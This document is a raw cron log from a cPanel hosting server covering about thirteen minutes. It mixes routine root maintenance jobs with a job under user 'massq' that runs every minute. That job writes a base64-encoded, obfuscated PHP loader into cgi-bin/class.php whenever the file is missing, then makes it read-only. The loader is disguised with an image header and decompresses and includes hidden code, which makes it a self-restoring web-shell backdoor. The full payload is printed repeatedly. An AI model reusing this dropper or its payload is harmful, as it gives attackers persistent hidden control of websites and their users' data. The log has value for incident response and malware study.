Sep  1 01:25:01 server CROND[25749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:26:01 server CROND[26649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:26:01 server CROND[26648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:26:01 server CROND[26650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:27:01 server CROND[27024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:27:01 server CROND[27025]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:27:01 server CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:27:01 server CROND[27027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:28:01 server CROND[27414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:28:01 server CROND[27415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:28:01 server CROND[27416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:29:01 server CROND[27796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:29:01 server CROND[27797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:29:01 server CROND[27798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:30:01 server CROND[28182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:30:01 server CROND[28190]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:30:01 server CROND[28194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:30:01 server CROND[28193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:30:01 server CROND[28191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:30:01 server CROND[28192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:30:01 server CROND[28196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:30:01 server CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:31:01 server CROND[29167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:31:01 server CROND[29168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:31:01 server CROND[29169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:32:01 server CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:32:01 server CROND[29539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:32:01 server CROND[29541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:33:01 server CROND[29918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:33:01 server CROND[29919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:33:01 server CROND[29920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:34:01 server CROND[30289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:34:01 server CROND[30291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:34:01 server CROND[30290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:35:01 server CROND[30676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:35:01 server CROND[30678]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:35:01 server CROND[30679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:35:01 server CROND[30683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:35:01 server CROND[30682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:35:01 server CROND[30681]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:35:01 server CROND[30680]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:35:01 server CROND[30685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:35:01 server CROND[30684]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 01:36:01 server CROND[31605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:36:01 server CROND[31606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:36:01 server CROND[31608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:37:01 server CROND[31997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:37:01 server CROND[31996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:37:01 server CROND[31999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:38:01 server CROND[32368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:38:01 server CROND[32369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
